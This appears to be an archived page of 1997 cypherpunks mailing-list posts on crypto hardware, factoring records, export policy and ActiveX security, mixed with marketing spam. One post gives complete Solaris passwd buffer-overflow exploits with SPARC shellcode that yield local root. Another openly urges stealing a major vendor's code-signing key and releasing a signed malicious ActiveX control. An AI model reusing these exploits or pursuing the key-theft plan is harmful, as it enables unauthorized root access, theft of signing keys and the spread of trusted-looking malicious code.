- cypherpunks-legacy - lists.cpunks.org

Re: DES and RSA crypto hardware from the free world
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

>>I've just got the details on two new crypto chips produced by the Dutch >>company Pijnenburg Custom Chips B.V. >Were those prices 1-off? Any idea what the price would be for volume? Those are one-off prices. You'll have to contact Pijnenburg (see the address in the original message) for more details. Peter.

1 0

Myths of Digital Signatures: RISKS article by Ed Felten
by Bill Stewart 17 Dec '03

17 Dec '03

Ed Felten has an article in RISKS Digest, Volume 18, Issue 83, http://catless.ncl.ac.uk/Risks/18.83.html called "Myths about digital signatures". It's focused on the "Microsoft Signed This ActiveX Applet So It Must Be Safe" delusion. Nothing we haven't heard before, but a good summary. He's also announcing a mailing list on security of Java/ActiveX/etc. =================================================== Mobile code security mailing list Edward Felten <felten(a)CS.Princeton.EDU> Wed, 19 Feb 1997 19:58:39 -0500 We are starting a moderated mailing list to discuss security issues relating to mobile code systems like Java, ActiveX, and JavaScript. To join, send e-mail to majordomo(a)cs.princeton.edu; your message body should contain the single line "subscribe secure-mobile-code" or if your desired TO: address is different from your FROM: address, "subscribe secure-mobile-code" (append your TO: address here) ================================================================== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

No Subject
by stewarts＠ix.netcom.com 17 Dec '03

17 Dec '03

CC: From: stewarts(a)ix.netcom.com (Bill Stewart) Subject: 167-digit number factored X-Mailer: Mozilla/2.1 (compatible; Opera/2.1; Windows 95) The article's gotten a bit garbled through replies, but this was on sci.crypt. > In article <phrE5EDtw.D1w(a)netcom.com> phr(a)netcom.com (Paul Rubin) writes: > >In article <5dna0l$nrl(a)arthur.cs.purdue.edu>, > >Samuel S Wagstaff <ssw(a)cs.purdue.edu> wrote: > > >>On Tuesday, 4 February 1997, we completed the factorization of a > >>composite number of 167 digits, one of the `More Wanted' factorizations > >>of the Cunningham Project. It is: > >> > >>3,349- = (3^349 - 1)/2 = c167 = p80 * p87 > >> > > >Congratulations.... was this factorization much easier than > >factoring a general 167 (or 160) digit number? > > Yes, this c167 is much easier. I just finished the 136-digit number > > n = (2^454 - 2^341 + 2^227 - 2^114 + 1)/13 > > (a divisor of (2^1362 + 1)/(2^454 + 1)). The sieving took > 85 machine-days (about two weeknights) on a network of 60 SGI machines, > and took advantage of n's representation as a polynomial in 2^113. > Last year's factorization of RSA130 (130 digits) took 6 calendar-months > to sieve, at multiple sites. By the way, the new factorization is > n = p49 * p88, where > > p49 = 2393102462756185953833037662530180237989024296581 > p88 = 14952485345141425227257136559467580083134337 \ > 51379919088823926933276083374444560702796609 > > The c167 factorization of (3^349 - 1)/2 was about as hard > as doing a general number around 115-120 digits. > -- > Peter L. Montgomery pmontgom(a)cwi.nl San Rafael, California > > A mathematician whose age has doubled since he last drove an automobile. >

1 0

Tap in to You Income Potential
by get.a.life＠worldnet.att.net 17 Dec '03

17 Dec '03

Tap in to your own income potential and Make a Change for Life! Why this Company? * It answers the criteria established by both the Harvard Business School and the Kiplinger Personal Finance Magazine. * It has been in business more than four years. Their products trigger an emotional response, are consumable, and have been exposed to less thatn 1% of the population in the U.S. The products are reasonably priced, easy to use and unique to the marketplace. The company offers a 30 day money-back guarantee. The products are in the explosive industries of health, weight management, nutrition, personal-care and telecommunications. * It is approaching the stage of critical mass. Getting involved with the company at this stage of momentum puts you in a position of substantial growth. * The company is debt free. It is a family-owned business dedicated to long-term growth. It is also a product driven company. Your income will be driven by retail sales and repeat business. * You have the opportunity to earn income on up to sex levels deep as a Qualified Director. Please take the time to visit the corporate home page at http://www.eola.com/. Then give me a call or send me an e-mail to ask questions, to purchase products at retail or wholesale prices, or to set up your own distributorship. I look forware to hearing from you, Neda Hatcher E'OLA Products Independent Distributor get.a.life(a)woldnet.att.net MasterCard and VISA accepted! (318)688-2517 msg002

1 0

Re: Dark Times Ahead
by jim bell 17 Dec '03

17 Dec '03

At 11:38 PM 2/22/97 -0800, Mike Duvos wrote: >Timothy C. May writes: > >> Oh? And will the First Amendment then be repealed? > >> "Congress shall make no law respecting the establishment of speech or >> prohibiting the free exercise thereof" seems rather clear: Congress cannot >> insist that a particular form of speech be used to the exclusion of others. > >> A ban on coding messages, speaking in languages unintelligible to >> wiretappers, etc., would quite clearly be thrown out on First Amendment >> grounds, from everything I know of the Supreme Court and its reasoning. > >The Supremes can bypass the First Ammendment anytime they choose by simply >mumbling something about "society's overwhelming interest in protecting >itself." I'd sure like to know how they figure out what "society" really wants to do! In April of 1993, which the original Clipper chip/system was proposed, not all that many people had even heard of the Internet, and far fewer were aware of the details of encryption. Surely they didn't mean to suggest that "society" was in favor of Clipper? Blissfully ignorant, perhaps, but not in favor! (B^) Obviously, with their "If you only knew what we know" they'll claim that the public would have favored Clipper if it knew the real problems, but the way I see it, if they REALLY believed that there was a serious threat to anything other than merely their jobs, they would have done a better job convincing the public. Jim Bell jimbell(a)pacifier.com

1 0

It is time to break Authenticode
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Microsoft's recent arrogant and irresponsible reply to the Chaos Computer Club hack on ActiveX requires response. An effective response would be to steal the key of a major code signer and produce a signed, malicious ActiveX control. Such an attack would demonstrate the serious problems of Microsoft's security philosophy. Hackers have known since ActiveX was announced that its security model is ridiculous. Signatures are not enough to protect users from malicious code. Exploder and the CCC hack have done a great job of demonstrating practical examples of why ActiveX is dangerous. The CCC hack in particular has made the ActiveX security issue visible enough that Microsoft has been forced to respond publically. Unfortunately, their published response on http://www.microsoft.com/security/ does not begin to admit the fundamental flaws in ActiveX. Instead, they continue to hide behind code signatures and mislead the public that their system is no less secure than Java. The obvious response to Microsoft's attempt at damage control is to demonstrate an attack with a control signed by a reputable party. There are three ways to do this: subvert an existing signed control, subvert the signature protocols, or steal a signing key. Subverting existing signed controls is an interesting avenue. Currently used ActiveX controls have implementation bugs that could be exploited in an attack. Finding one would be a fair amount of work, however, and a successful attack would only show that code has bugs, not demonstrate the fundamental flaw in relying on code signatures. The signature protocols of Authenticode are presumably secure - getting signatures right is well understood. Still, does anyone have information on exactly how the signatures work? The best avenue of attack is stealing the secret key of a respected code signer. The target should be one of the major players, if not Microsoft itself. Someone is sloppy to store their secret key on a machine hooked to the Internet. Stealing it would be a very nice challenge. It should be doable. Stealing the key itself will almost certainly be an illegal act. Morally, the demonstration signed control should itself not do damage. Something like the Exploder control (which warns the user before shutting down the machine) should be good enough to show the flaws of ActiveX without causing trouble. A public discussion about how to best go about this attack should be interesting. For obvious reason, the attack itself would have to be done in secrecy.

1 0

Big Security Hole in Solaris 2.X (X)passwd + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Tue Feb 25 14:22 EET 1997 Romania " Another letter - another bug " An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd) Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in an internal function ( some like sa_chauthtok() ). Using a buffer overflow exploit anyone can gain root access (passwd need suid exec bit from root). passwd has a second overflow bug when it is called with '-s' option in an internal strcpy(). I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it must to shift the LEMON_BUFFER in a reverse direction before exec - that's happening only for a special combination of the exec args - see my exploits. A way to prevent the exploit is to rename passwd, nispasswd and yppasswd and get out suid-exec bit. After that you have to compile a little program ( some like newpass.c ) with name passwd or nispasswd or yppasswd like root and give them suid-exec bit. You have to change the "hidden_passwd" constant with the new name of Xpasswd files. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)math.pub.ro , skipo(a)sundy.cs.pub.ro , skipo(a)ns.ima.ro Phone: (401) - 410.60.88 ---------------------------- file newpass.c ------------------------------- #include <stdio.h> #include <syslog.h> #define hidden_passwd "/bin/hpasswd" /*change here ...*/ #define MAX_LENGTH 32 void main(int argc, char *argv[]) { int i; char *args[10]; if(argc < 10) { args[0]=hidden_passwd; for(i = 1; i<argc; i++) { if(strlen(argv[i]) > MAX_LENGTH) { printf("You reached the maximum length in args\n"); exit(0); } else args[i]=argv[i]; } args[i]=(char *)0; execv(args[0],args); } else { printf("You reached the maximum number of args !\n"); } } ---------------------------- end newpass.c ----------------------------------- ------------------------------ EXPLOITS ---------------------------------- ------------------------------ lemon24.c -------------------------------- /* Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this exploit and the prog for Solaris 2.5 - the overflow buffer is shifted with 1 char ) With argv[1] you can modify the stack_offset (+-256). */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 600 #define EXTRA 600 #define STACK_OFFSET 1400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", & buf[1],(char *) 0); perror("execl failed"); } -------------------------------- end of lemon24.c ---------------------------- ---------------------------------- lemon25.c -------------------------------- /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); } ----------------------------------- end of lemon25.c ------------------------- # End

1 0

BXA Site for Crypto Comments
by John Young 17 Dec '03

17 Dec '03

The Bureau of Export Administration has set up a Web page to provide the public comments submitted on transferring encryption items from the US Munitions List to the Commerce Control List. Here's the URL and index of hyperlinked comments on 24 February 1997; note the 12MB comments by Technical Communications Corp.: http://www.bxa.doc.gov/pubcomts.htm -------------------------------------------------------------------- Public Comments Encryption Items Transferred from the U.S. Munitions List to the Commerce Control List December 30, 1996 (61 FR 68572) 1. University of Waterloo, 32K 2. John and Laren Navas, 35K 3. Cylink, 49K 4. Motorola, 212K 5. Secure Computing, 78K 6. Tuttle and Taylor, 313K 7. Lyman C. Welch, 78K 8. ISTAC, 138K 9. American Association for the Advancement of Science, 230K 10. Trusted information Systems, Inc., 240K 11. IBM, 251K 12. Hughes Electronics, 250K 13. Industry Coalition on Technology Transfer (ICOTT), 196K 14. Murphy & Weber, 120K 15. Steptoe & Johnson LLP, 229K 16. America Online, Inc., 238K 17. Citibank, 1296K 18. NCR, 104K 19. American Civil Liberties Union (ACLU), 138K 20. United States Council for International Business, 449K 21. V-One, 134K 22. William A. Root, 525K 23. Thoroughbred Security Solutions, Ltd., 181K 24. Microsoft, 2783K 25. Commercial Internet Exchange Association, 340K 26. The Direct Marketing Association, Inc., 126K 27. Technical Communications Corp., 11896K 28. Software Publishers Association, 488K 29. Alston & Bird, 380K 30. Association for Computing Machinery, 417K 31. National Association of Manufacturers, 269K 32. Computer & Communications Industry Association, 374K 33. Dewey Ballantine, 284K 34. American Bankers Association, 482K 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 36. Winston & Strawn for ICOTT, 204K 37. Sun Microsystems, 331K 38. Key Escrow Working Group, 408K 39. Hewlett Packard, 336K 40. Scientific-Atlanta, Inc., 158K 41. Timothy Hinds, 66K 42. Information Security Incorporated, 119K 43. Securities Industry Association, 315K

1 0

Failed mail
by NTMail 17 Dec '03

17 Dec '03

--------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219847; Tue, 25 Feb 1997 17:09:34 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:34 -0500 >Message-Id: <22093491545854(a)abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games) See you soon at GameSpot and >VideoGameSpot! > >.

1 0

Welcome GameSpot and VideoGameSpot!
by announce＠lists.zdnet.com 17 Dec '03

17 Dec '03

----------------------------------------------------------------------- ZDNET ANNOUNCEMENT 2/24/97 ----------------------------------------------------------------------- Do you like to play games? No, not those kinds of games! You know, PC or video games. If the answer is absolutely, sometimes or even just maybe, then you'll want to check out GameSpot and VideoGameSpot. These are the hottest, and most fun sites on the Web for information about PC and video games, bar none! (They are so good, they are now serving as the Games Channel on ZDNet!) GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, news, in-depth features, strategy guides, previews, hints and cheats on all of the latest PC games and hardware. They cover everything from the most hyper action games to the more sedate, but mind-wrenching puzzle games, and give you what you need both before you buy a game and after you bring it home. No one else's online coverage of the PC game industry even comes close. VideoGameSpot (www.videogamespot.com) provides this same information, but about video games played on the Sega Saturn, Sony Playstation and Nintendo64 consoles. Of course you can't download a demo of a video game, so they provide custom quick-time movies to give you a tantalizing taste of each title. Both sites encourage readers to submit their own reviews of games. Think their review stinks? Submit your own and show the world that you're the real expert! And if winning free games or hardware has appeal (not unlike a lemon), then point old man browser over to these sites, PRONTO!! GameSpot and VideoGameSpot give away thousands of dollars in prizes every month (almost $40,000 in February). The contests are simple and fun, and there are hundreds of winners who could tell you how easy it is to get a free game in the mail. (Winner! Winner! Chicken Dinner!!) To visit the sites, go to the URL's listed below, or link to them from the ZDNet Games channel (www.zdnet.com/games) See you soon at GameSpot and VideoGameSpot! ZDNet Games http://www.zdnet.com/games GameSpot: http://www.gamespot.com VideoGameSpot: http://www.videogamespot.com ________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: zdnet_announce-on(a)lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: zdnet_announce-off(a)lists.zdnet.com You can leave the subject and body blank. ________________________________________________ Powered by Mercury Mail: http://www.merc.com

1 0